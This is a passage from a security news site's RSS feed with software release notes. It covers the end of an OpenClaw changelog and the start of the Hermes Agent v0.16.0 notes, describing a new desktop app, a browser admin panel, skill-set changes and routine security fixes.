data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/90717" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/90717/hovercard" href="https://github.com/openclaw/openclaw/pull/90717">#90717</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4598009542" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/90702" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/90702/hovercard" href="https://github.com/openclaw/openclaw/issues/90702">#90702</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/849261680/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/849261680">@849261680</a>.</li>
<li>Gateway/macOS/mobile: avoid duplicate Gateway probe warnings by identity, rate-limit node pairing requests while preserving paired-node reconnects, keep macOS node mode on a healthy direct Gateway session, keep iOS diagnostics and gateway rows reachable, and avoid Linux ARM Gradle resource tasks during Android builds. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4509089810" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85791" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85791/hovercard" href="https://github.com/openclaw/openclaw/pull/85791">#85791</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4585543162" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/90147" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/90147/hovercard" href="https://github.com/openclaw/openclaw/pull/90147">#90147</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4597028909" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/90668" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/90668/hovercard" href="https://github.com/openclaw/openclaw/issues/90668">#90668</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4601504472" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/90815" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/90815/hovercard" href="https://github.com/openclaw/openclaw/pull/90815">#90815</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/giodl73-repo/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/giodl73-repo">@giodl73-repo</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vrurg/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vrurg">@vrurg</a>.</li>
<li>TUI/chat/Workboard/auto-reply: optimistic user messages stay stable across stale history reloads, runId reassignment, and abort windows instead of disappearing, jumping, or lingering as ghost rows; Workboard stale lifecycle bulk updates no longer overwrite newer status/provenance; message-tool sends now count as delivery. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4512942716" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86205" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86205/hovercard" href="https://github.com/openclaw/openclaw/pull/86205">#86205</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4574527773" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/89600" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/89600/hovercard" href="https://github.com/openclaw/openclaw/pull/89600">#89600</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4557310742" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88592" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/88592/hovercard" href="https://github.com/openclaw/openclaw/issues/88592">#88592</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4585249532" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/90123" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/90123/hovercard" href="https://github.com/openclaw/openclaw/pull/90123">#90123</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/RomneyDa/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/RomneyDa">@RomneyDa</a>.</li>
<li>Cron/update/service env: doctor config preflight now migrates legacy cron JSON stores into SQLite before runtime reads, service env planning skips unresolved placeholders that would mask state-dir <code>.env</code> values, and session transcript rewrites keep registry markers/discriminants consistent. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4584676639" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/90072" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/90072/hovercard" href="https://github.com/openclaw/openclaw/issues/90072">#90072</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4586573551" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/90208" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/90208/hovercard" href="https://github.com/openclaw/openclaw/pull/90208">#90208</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4587567256" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/90277" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/90277/hovercard" href="https://github.com/openclaw/openclaw/issues/90277">#90277</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4593084411" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/90488" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/90488/hovercard" href="https://github.com/openclaw/openclaw/pull/90488">#90488</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/MonkeyLeeT/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/MonkeyLeeT">@MonkeyLeeT</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/sallyom/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/sallyom">@sallyom</a>.</li>
<li>Security/config/tooling: guard MCP HTTP redirects, protect global agent config defaults, and keep release/test/tooling proof failures bounded and explicit. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4577648432" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/89732" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/89732/hovercard" href="https://github.com/openclaw/openclaw/pull/89732">#89732</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4585516313" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/90145" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/90145/hovercard" href="https://github.com/openclaw/openclaw/pull/90145">#90145</a>)</li>
<li>Channels: WhatsApp restarts when per-account config changes, bounds background startup waits, closes failed sockets, and preserves reconnect behavior; Mattermost slash commands keep their state on <code>globalThis</code>; Feishu streaming cards preserve full merged content; voice-call tracks Twilio streams after connect; ClickClack reply tools respect <code>toolsAllow</code>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4546873220" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/87951" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/87951/hovercard" href="https://github.com/openclaw/openclaw/issues/87951">#87951</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4547085362" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/87965" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/87965/hovercard" href="https://github.com/openclaw/openclaw/pull/87965">#87965</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4593042798" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/90486" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/90486/hovercard" href="https://github.com/openclaw/openclaw/pull/90486">#90486</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4282638965" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/68113" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/68113/hovercard" href="https://github.com/openclaw/openclaw/issues/68113">#68113</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4593958977" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/90534" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/90534/hovercard" href="https://github.com/openclaw/openclaw/pull/90534">#90534</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4586100827" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/90181" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/90181/hovercard" href="https://github.com/openclaw/openclaw/pull/90181">#90181</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4595730991" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/90607" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/90607/hovercard" href="https://github.com/openclaw/openclaw/pull/90607">#90607</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4572470496" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/89500" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/89500/hovercard" href="https://github.com/openclaw/openclaw/pull/89500">#89500</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/MukundaKatta/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/MukundaKatta">@MukundaKatta</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/mcaxtr/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/mcaxtr">@mcaxtr</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/infoanton/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/infoanton">@infoanton</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/mushuiyu886/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/mushuiyu886">@mushuiyu886</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/sahibzada-allahyar/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/sahibzada-allahyar">@sahibzada-allahyar</a>.</li>
<li>Release/CI/E2E: main CI guard drift, PR merge diff scoping, live Docker credential staging, base-image qualification, installer Docker classification, Playwright dependency install recovery, API-key auth for Codex live Docker lanes, Parallels option terminators, and JSON-mode progress handling are tighter so release proof fails cleaner. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4593913382" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/90532" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/90532/hovercard" href="https://github.com/openclaw/openclaw/pull/90532">#90532</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4587798544" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/90287" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/90287/hovercard" href="https://github.com/openclaw/openclaw/pull/90287">#90287</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4584469442" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/90058" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/90058/hovercard" href="https://github.com/openclaw/openclaw/pull/90058">#90058</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/RomneyDa/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/RomneyDa">@RomneyDa</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/hxy91819/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/hxy91819">@hxy91819</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/mrunalp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/mrunalp">@mrunalp</a>.</li>
<li>Tests/state isolation: provider, media, auth, cron, task, session, sandbox, Gateway, and Codex timeout fixtures now scope more home/state/env data per test, reducing cross-test leakage and making release validation failures less noisy. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4583859559" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/90027" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/90027/hovercard" href="https://github.com/openclaw/openclaw/pull/90027">#90027</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4582740184" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/89974" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/89974/hovercard" href="https://github.com/openclaw/openclaw/issues/89974">#89974</a>)</li>
</ul>]]></content:encoded>
</item>
<item>
<title><![CDATA[Hermes Agent v0.16.0 (2026.6.5) — The Surface Release]]></title>
<description><![CDATA[Hermes Agent v0.16.0 (v2026.6.5)
Release Date: June 5, 2026
Since v0.15.2: 874 commits · 542 merged PRs · 1,962 files changed · 205,216 insertions · 46,217 deletions · 399 issues closed (2 P0, 62 P1, 16 security-tagged) · 170 community contributors (including co-authors)

The Surface Release. Her...]]></description>
<link>https://tsecurity.de/de/3576866/downloads/hermes-agent-v0160-202665-the-surface-release/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3576866/downloads/hermes-agent-v0160-202665-the-surface-release/</guid>
<pubDate>Sat, 06 Jun 2026 03:01:15 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h1>Hermes Agent v0.16.0 (v2026.6.5)</h1>
<p><strong>Release Date:</strong> June 5, 2026<br>
<strong>Since v0.15.2:</strong> 874 commits · 542 merged PRs · 1,962 files changed · 205,216 insertions · 46,217 deletions · 399 issues closed (2 P0, 62 P1, 16 security-tagged) · 170 community contributors (including co-authors)</p>
<blockquote>
<p><strong>The Surface Release.</strong> Hermes meets you wherever you work. A brand-new native desktop app — built across 100 PRs and 159 commits in a single week — gives you Hermes as a real macOS/Linux/Windows application: one-click install, in-app self-update, drag-and-drop files into chat, an inline model picker in the status bar, concurrent multi-profile sessions, a full Simplified Chinese translation, and the ability to connect to a remote Hermes gateway over OAuth or username/password. Alongside it, the web dashboard grew a full browser-based administration panel (MCP catalog, messaging channels, credentials, webhooks, memory, pluggable OIDC / username-password login), and first-time setup got a "Quick Setup via Nous Portal" path that gets you from install to first message in seconds. The default skill set was trimmed to what you actually need, NVIDIA/skills joined the trusted Skills Hub taps, the model picker is now fuzzy-searchable everywhere (desktop, web, TUI, CLI), and <code>/undo</code> finally lets you take back the last N turns. 2 P0 and 62 P1 closures ride along, plus a security round (CVE-2026-48710 Starlette pin, SSRF off-loop hardening, subprocess credential stripping).</p>
</blockquote>
<hr>
<h2>✨ Highlights</h2>
<ul>
<li>
<p><strong>Hermes Desktop — a real native app, not a terminal wrapper</strong> — This is the headline. There's now a <code>apps/desktop/</code> Electron application that installs like any other desktop app on macOS, Linux, and Windows, updates itself in place from inside the app, and gives you a polished GUI for everything Hermes does. You get a proper chat window with streaming, a session list you can archive and search, drag-and-drop files anywhere in the chat area, clipboard image paste, a Cmd+K command palette, and a model picker right in the status bar. If you've been telling friends "it's a CLI agent" and watching their eyes glaze over — now you can just send them an installer. None of this existed a week ago. (<a href="https://github.com/NousResearch/hermes-agent/pull/20059" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/20059/hovercard">#20059</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/35607" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/35607/hovercard">#35607</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/37099" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/37099/hovercard">#37099</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/37379" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/37379/hovercard">#37379</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/38631" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/38631/hovercard">#38631</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jquesnelle/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jquesnelle">@jquesnelle</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ethernet8023/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ethernet8023">@ethernet8023</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/austinpickett/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/austinpickett">@austinpickett</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/benbarclay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/benbarclay">@benbarclay</a>)</p>
</li>
<li>
<p><strong>Run the desktop app against a remote Hermes — sign in with OAuth or username/password</strong> — The desktop app doesn't have to run Hermes locally. Point it at a remote Hermes gateway (your homelab, a hosted box, a teammate's server) and it connects over a secure WebSocket, authenticating with OAuth or a username/password login — no fiddling with <code>--insecure</code> flags or hand-copied session tokens. Each profile can target its own remote host, and you can run concurrent sessions across multiple profiles in one window with cross-profile <code>@session</code> links. The practical version: your laptop runs a thin GUI, the heavy agent runs wherever your API keys and compute live. (<a href="https://github.com/NousResearch/hermes-agent/pull/37888" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/37888/hovercard">#37888</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/38851" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/38851/hovercard">#38851</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/39330" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/39330/hovercard">#39330</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/39778" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/39778/hovercard">#39778</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/benbarclay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/benbarclay">@benbarclay</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</p>
</li>
<li>
<p><strong>The web dashboard is now a full admin panel — configure everything from the browser</strong> — The dashboard grew from "view your sessions" into a complete administration surface. There's a Channels page that sets up every gateway messaging platform (Telegram, Discord, Slack, etc.) from the browser, an admin panel for the MCP catalog with enable/disable toggles, credential management, webhook and hook creation, memory configuration, gateway controls, and a System page with check-before-update and one-click Debug Share. You no longer have to SSH in and edit <code>config.yaml</code> to wire up a new messaging channel or MCP server — it's all point-and-click now. (<a href="https://github.com/NousResearch/hermes-agent/pull/36704" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/36704/hovercard">#36704</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/36736" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/36736/hovercard">#36736</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/37211" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/37211/hovercard">#37211</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/38205" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/38205/hovercard">#38205</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/38600" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/38600/hovercard">#38600</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</p>
</li>
<li>
<p><strong>Hermes Desktop speaks Simplified Chinese — full 简体中文 in the chat GUI</strong> — The desktop app now ships a complete Simplified Chinese (简体中文) translation across every UI surface — the chat window itself, sidebar, settings, command center, cron, messaging, profiles, skills, agents, the lot. English stays the default; switch language in Appearance settings and the choice persists to your config (<code>display.language</code>). It's built on a proper typed i18n layer, so adding more languages from here is straightforward. (<a href="https://github.com/NousResearch/hermes-agent/pull/38241" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/38241/hovercard">#38241</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JimLiu/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JimLiu">@JimLiu</a>)</p>
</li>
<li>
<p><strong>Leaner default skill set — Hermes ships only what you actually need</strong> — The bundled skill set got a deliberate trim. Skills that were redundant or dead are gone (<code>spotify</code> — superseded by the native Spotify plugin's 7 tools; <code>linear</code> — superseded by <code>hermes mcp install linear</code>; <code>kanban-codex-lane</code>, <code>debugging-hermes-tui-commands</code>, a stale <code>domain</code> orphan, and several empty category markers). Heavier or niche skills moved from bundled to optional (the Baoyu creative set, <code>dspy</code>, <code>subagent-driven-development</code>, <code>minecraft-modpack-server</code>, <code>pokemon-player</code>, <code>hermes-s6-container-supervision</code>) — still one <code>hermes skills install</code> away, just not loaded by default. And a new <code>environments:</code> relevance gate keeps context-specific skills (kanban, docker/s6) out of the skills index for users who'll never use them, while still loading them on explicit request. The result: a smaller, sharper default skill list, less noise in the picker, and a lighter prompt. The curator can now prune unused <strong>built-in</strong> skills too (not just agent-created ones), with usage tracked for every skill. (<a href="https://github.com/NousResearch/hermes-agent/pull/39028" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/39028/hovercard">#39028</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/36701" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/36701/hovercard">#36701</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/36228" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/36228/hovercard">#36228</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</p>
</li>
<li>
<p><strong>NVIDIA/skills is now a built-in trusted skills tap</strong> — <code>NVIDIA/skills</code> joins OpenAI, Anthropic, and HuggingFace as a default trusted tap in the Skills Hub — discoverable, browsable, searchable, and auto-updating through the same pipeline. NVIDIA's verified skills for CUDA-X, AIQ, cuOpt and the rest of their product stack are one install away, with real category labels from the repo's <code>skills.sh.json</code> sidecar. (<a href="https://github.com/NousResearch/hermes-agent/pull/34333" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/34333/hovercard">#34333</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</p>
</li>
<li>
<p><strong>Quick Setup via Nous Portal — from install to first message in seconds</strong> — First-time setup was thinned down to two clear paths: Quick Setup (sign in with Nous Portal, get a model picker, start chatting immediately) or Full Setup (the detailed wizard for power users). <code>hermes portal</code> is now the human-readable alias that runs the full quick-setup Nous flow. The first-run menu explains the difference inline so newcomers aren't guessing. The goal: a brand-new user shouldn't need to read docs to send their first message. (<a href="https://github.com/NousResearch/hermes-agent/pull/35723" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/35723/hovercard">#35723</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/36227" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/36227/hovercard">#36227</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/38449" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/38449/hovercard">#38449</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/38465" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/38465/hovercard">#38465</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>)</p>
</li>
<li>
<p><strong>Fuzzy model picker, everywhere — type a few letters, find your model</strong> — The model picker now does fuzzy search across the desktop app, web dashboard, TUI, and CLI. Type "v4fl" and <code>deepseek-v4-flash</code> surfaces; multi-endpoint providers are grouped under one row instead of cluttering the list with duplicates, and each row carries a description so you know what you're picking. The catalog refreshes hourly instead of daily, so new models show up the same day they launch. New this window: <code>deepseek-v4-flash</code>, <code>MiniMax-M3</code> with 1M context, <code>qwen3.7-plus</code>. (<a href="https://github.com/NousResearch/hermes-agent/pull/36928" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/36928/hovercard">#36928</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/35227" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/35227/hovercard">#35227</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/35756" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/35756/hovercard">#35756</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/35659" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/35659/hovercard">#35659</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/36214" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/36214/hovercard">#36214</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</p>
</li>
<li>
<p><strong><code>/undo [N]</code> — take back the last N turns</strong> — Said the wrong thing, or sent the agent down a bad path? <code>/undo</code> backs up N user turns, prefills your last message so you can edit and resend, and soft-deletes the turns in between. It works in the CLI, the TUI, and across messaging platforms (Telegram, Discord, etc.) with full parity. Closes a long-standing request (<a href="https://github.com/NousResearch/hermes-agent/issues/21910" data-hovercard-type="issue" data-hovercard-url="/NousResearch/hermes-agent/issues/21910/hovercard">#21910</a>). (<a href="https://github.com/NousResearch/hermes-agent/pull/36229" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/36229/hovercard">#36229</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/36699" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/36699/hovercard">#36699</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</p>
</li>
<li>
<p><strong>Choose your default interface — <code>cli</code> or <code>tui</code></strong> — You can now set whether <code>hermes chat</code> drops you into the classic CLI or the Ink TUI by default, with a <code>--cli</code> flag to override per-invocation. The TUI also got a single unified <code>/model</code> command and a Sessions overlay for switching between live sessions. Use the interface you actually like. (<a href="https://github.com/NousResearch/hermes-agent/pull/37782" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/37782/hovercard">#37782</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/37112" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/37112/hovercard">#37112</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>)</p>
</li>
</ul>
<hr>
<h2>🖥️ Hermes Desktop App (NEW)</h2>
<h3>Install &amp; lifecycle</h3>
<ul>
